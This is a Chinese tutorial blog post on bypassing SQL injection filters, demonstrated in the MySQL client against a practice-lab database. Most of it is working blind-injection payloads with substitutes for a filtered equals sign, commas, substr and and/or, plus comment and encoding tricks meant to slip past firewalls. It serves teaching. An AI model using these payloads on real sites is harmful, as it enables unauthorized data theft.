Bypass-渗透测试---手把手教你SQL注入(8)---Bypass姿势(如何绕过过滤措施?)

本节的环境配置:

数据库语言:MySQL

数据库信息:

mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.01 sec)

users表信息(部分):

mysql> select * from users;
+----+-----------+------------+
| id | username  | password   |
+----+-----------+------------+
|  1 | Dumb      | Dumb       |
|  2 | Angelina  | I-kill-you |
|  3 | Dummy     | p@ssword   |
|  4 | secure    | crappy     |
|  5 | stupid    | stupidity  |

常见的过滤措施:

过滤等号
过滤substr, mid
过滤逗号
过滤 and/for

一.等号被过滤: 

1.使用>,<,<>

使用的payload:
and ascii(substr(database(),1,1))>xxx

 借助大于号和小于号,我们可以逐步缩小范围,最终确定数据库名,以下以得到数据库第一个字母s为例  :

(ascii十进制编码为115)(具体实战中我们需要借助Burp Suite的爆破功能,这里直接在命令行中进行演示,方便大家理解思路,明析原理🌝):

1.1借助大于号:

mysql> select * from users where id=1 and ascii(substr(database(),1,1))>114;
+----+----------+----------+
| id | username | password |       结果显示大于114,不大于115,ascii码为115,
+----+----------+----------+
|  1 | Dumb     | Dumb     |       确定数据库第一个字母为s
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from users where id=1 and ascii(substr(database(),1,1))>115;
Empty set (0.00 sec)

1.2借助小于号: 

mysql> select * from users where id=1 and ascii(substr(database(),1,1))<115;
Empty set (0.01 sec)
mysql> select * from users where id=1 and ascii(substr(database(),1,1))<116;
+----+----------+----------+
| id | username | password |  结果显示不小于115,且小于116,ascii码为115
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

1.3借助不等于号:

注:<>为不等于的意思相当于!=

mysql> select * from users where id=1 and ascii(substr(database(),1,1))<>114;
+----+----------+----------+
| id | username | password |         不等于114为True
+----+----------+----------+          不等于115为false
|  1 | Dumb     | Dumb     |          不等于116为True
+----+----------+----------+         说明ascii码为115
1 row in set (0.03 sec)

mysql> select * from users where id=1 and ascii(substr(database(),1,1))<>115;
Empty set (0.00 sec)

mysql> select * from users where id=1 and ascii(substr(database(),1,1))<>116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

2. 采用like,rlike语句

拓展:MySQL中like与rlike的区别

在MySQL中,"LIKE"和"RLIKE"是用于模式匹配的两种不同的操作符。

LIKE操作符:
LIKE操作符用于在WHERE子句中进行模糊匹配。它使用简单的通配符来表示模式,
通常是百分号(%)和下划线(_)。
百分号表示任意字符的任意数量,而下划线表示单个任意字符。
例如:
SELECT * FROM table_name WHERE column_name LIKE 'a_c%';
上述查询将返回以"a"开头,第二个字符是任意字符,然后是"c"开头的所有匹配行

RLIKE操作符:
RLIKE操作符用于在WHERE子句中进行正则表达式匹配。它使用正则表达式语法来表示模式。
例如:
SELECT * FROM table_name WHERE column_name RLIKE '^a.*c$';
上述查询将返回以"a"开头,以"c"结尾的所有匹配行。
在正则表达式中,"^"表示行的开头,"."表示除换行符之外的任意字符,
"*"表示前一个字符的零个或多个重复,"$"表示行的结尾。

2.1使用like语句:

mysql> select * from users where id=1 and database() like "s%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from users where id=1 and database() like "se%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

2.1使用rlike语句:

mysql> select * from users where id=1 and database() rlike "^se";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.04 sec)

mysql> select * from users where id=1 and database() rlike "^sec.";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

3.采用regexp,in,between

拓展:MySQL中regexp与rlike的区别

在MySQL中,REGEXP和RLIKE实际上是相同的操作符,
用于正则表达式匹配。
它们都可以在WHERE子句中使用,以便根据模式匹配筛选数据。

SELECT * FROM table_name WHERE column_name REGEXP '^abc';
等同于:
SELECT * FROM table_name WHERE column_name RLIKE '^abc';

3.1使用regexp: 

mysql> select * from users where id=1 and database() regexp "^sec.";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.03 sec)

拓展:MySQL中in与instr的区别

IN操作符:
IN操作符用于判断某个值是否在指定的集合中。它接受两个参数,
第一个参数是待检查的值,第二个参数是用逗号分隔的值列表。
语法如下:
SELECT column_name(s) FROM table_name WHERE column_name IN (value1, value2, ...);

INSTR函数:
INSTR函数用于在一个字符串中查找另一个子字符串的位置。
它接受两个参数,第一个参数是要搜索的字符串,第二个参数是要查找的子字符串。
语法如下:
INSTR(string, substring)

例如,要在字符串"Hello,world!"中查找子字符串"world"的位置,可以使用以下查询:
SELECT INSTR('Hello,world!', 'world');
这将返回值为8,因为子字符串"world"在字符串中的位置是8(从1开始计数)。

3.2使用in或instr:

3.2.1使用in:
mysql> select * from users where id=1 and database() in ('security');
+----+----------+----------+
| id | username | password |     这里就只能使用字典爆破整个数据库名了,
+----+----------+----------+     不能再一个一个的试了>﹏<
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
 3.2.2使用instr:
mysql> select * from users where id=1 and instr(database(),'s') in (1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and instr(database(),'e') in (2);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

3.3使用between:

mysql> select * from users where id=1 and substr(database(),1,1) between 's' and 's';
+----+----------+----------+
| id | username | password |   在's'和's'之间当然就是's'啦o(* ̄▽ ̄*)o
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.02 sec)

 二.substr, mid等被过滤

1.使用locate:

locate(str1,str2)
返回str1字符串在str2里第一次出现的位置,没有返回0

mysql> select locate('b','abc');
+-------------------+
| locate('b','abc') |
+-------------------+
|                 2 |
+-------------------+
1 row in set (0.03 sec)

mysql> select locate('bc','abc');
+--------------------+
| locate('bc','abc') |
+--------------------+
|                  2 |
+--------------------+
1 row in set (0.00 sec)

Locate(str1,str2,pos)
返回str1字符串在str2里pos(起始位置)出现的位置,没有返回0
pos必须大于第一次出现的位置,才能显示第二次出现的位置

mysql> select locate('a','hahaha',2)=2;
+--------------------------+
| locate('a','hahaha',2)=2 |    从'hahaha'的第二位开始,a出现的位置为2,
+--------------------------+
|                        1 |    那么a第二次出现的位置为4! ……]((o_ _)'彡☆
+--------------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and locate('s',database()) in (1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

 2.使用position

position的用法与locate类似:and position('s' in database())=1

返回str1字符串在str2出现的位置,没有则返回0

mysql> select * from users where id=1 and position('s' in database()) in (1);
+----+----------+----------+
| id | username | password |    注意括号里是's' in database()  
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

3.使用lpad和rpad:

在MySQL中,LPAD函数用于在一个字符串的左侧填充指定的字符。它的语法如下:

LPAD(string, length, pad_string)
参数说明:

string:要进行填充的原始字符串。
length:指定返回的字符串的总长度。如果提供的长度小于原始字符串的长度,
则函数将返回原始字符串。
pad_string:用于填充原始字符串的字符或字符串。
下面是一个使用LPAD函数的示例:
mysql> select lpad('Hello',10,'!');
+----------------------+
| lpad('Hello',10,'!') |
+----------------------+
| !!!!!Hello           |
+----------------------+
1 row in set (0.00 sec)
 在这个示例中,我们将字符串 'Hello' 用!字符进行填充,
使其总长度达到 10。原始字符串本身只有5个字符,因此左侧会添加5个!来达到总长度10。

与lpad相对应的还有rpad,它用于在一个字符串的右侧填充指定的字符:
mysql> select rpad('Hello',10,'!');

+----------------------+
| rpad('Hello',10,'!') |
+----------------------+
| Hello!!!!!           |
+----------------------+
1 row in set (0.03 sec)
  
但是如果我们像下面这样操作的话,就会得到意想不到的结果:
mysql> select lpad(database(),1,0)="s";

+--------------------------+
| lpad(database(),1,0)="s" |
+--------------------------+
|                        1 |     震惊!居然可以用来判断数据库名的第一位是否为s!
+--------------------------+     
1 row in set (0.01 sec)

mysql> select lpad(database(),4,0)="secu";

+-----------------------------+
| lpad(database(),4,0)="secu" |
+-----------------------------+
|                           1 |
+-----------------------------+
1 row in set (0.02 sec)
mysql> select * from users where id=1 and lpad(database(),1,0) in ('s');

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.02 sec)

三.逗号被过滤

1.使用from xx for xx 或 from(xx)

在substr()和mid()中:
and substr(database(),1,1)='s';
等同于
andsubstr(database()from 1 for 1)='s';
mysql> select * from users where id=1 and substr(database()from 1 for 1)='s';

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.03 sec)

注意,像if(1=1,1,0)这样的语句不能使用from for 的形式,这种形式大多用于mid()和substr():

mysql> select if(1=1 from 1 for 0);
ERROR 1064 (42000): You have an error in your SQL syntax; 
check the manual that corresponds to your 
MySQL server version for the right syntax 
to use near 'from 1 for 0)' at line 1

 这个时候可以使用case when来代替:

mysql> select if(substr(database(),1,1)='s',1,0);
+------------------------------------+
| if(substr(database(),1,1)='s',1,0) |
+------------------------------------+
|                                  1 |   如果这里逗号被过滤掉了,就要用下面的语句:
+------------------------------------+
1 row in set (0.00 sec)

mysql> select case when substr(database()from 1 for 1)='s' then 1 else 0 end;
+----------------------------------------------------------------+
| case when substr(database()from 1 for 1)='s' then 1 else 0 end |
+----------------------------------------------------------------+
|                                                              1 |
+----------------------------------------------------------------+
1 row in set (0.00 sec)

四.and/or被过滤

在mysql中 and与or 是可以用 &&和||相互代替的

如: and 1=1 ->&& 1=1  or 1=1 ->||1=1

不过在oracle中,||为拼接字符,如:’a’||’b’->’ab’,相当于mysql中的concat()

使用like:

注意这里的like需要结合判断语句使用!Ψ( ̄∀ ̄)Ψ

mysql> select * from users where id=1 like+if(substr(database(),1,1)='s',1,0);

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.02 sec)

mysql> select * from users where id=1 like+if(substr(database(),1,1)='a',1,0);
Empty set (0.00 sec)

五.其他常见绕过方式:

大小写绕过,如User()dAtaBASE()SelEct等。

只过滤一次时,双重关键字绕过,如selselectectununionionoorr等。
and/or+空格被替换为空时,andand+空格(oror+空格)绕过。
注释符绕过,//, -- , /**/, #, --+, -- -, ;,%00,--a,/*!*/

编码绕过:如URLEncode编码,ASCII,HEX,unicode编码绕过。

等等......

这些方式中有两条非常有趣,我们在这里拓展研究一波:ε=ε=ε=(~ ̄▽ ̄)~

/**/可以代替空格:

mysql> select/**/database();

+------------+
| database() |
+------------+
| security   |
+------------+
1 row in set (0.02 sec)

/*!语句*/ 语句不会被注释而被执行:

mysql> select /*!user()*/;

+----------------+
| user()         |        防火墙会认为/**/中的内容被注释掉了,但加上!后,语句照样会执行!
+----------------+
| root@localhost |        这样可能会达到绕过防火墙的效果
+----------------+
1 row in set (0.02 sec)

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 8.0.12    |
+-----------+
1 row in set (0.00 sec)

mysql> select /*!8000user()*/;      版本号其实是8.0.120五位数字
ERROR 1305 (42000): FUNCTION security.8000user does not exist
mysql> select /*!80000user()*/;     !后接的五位数小于版本号时,user()依旧会被执行
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select /*!88000user()*/;     !后接的五位数大于版本号时,user()不会被执行
ERROR 1064 (42000): You have an error in your SQL syntax; 
check the manual that corresponds to
 your MySQL server version for the right syntax to use near '' at line 1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值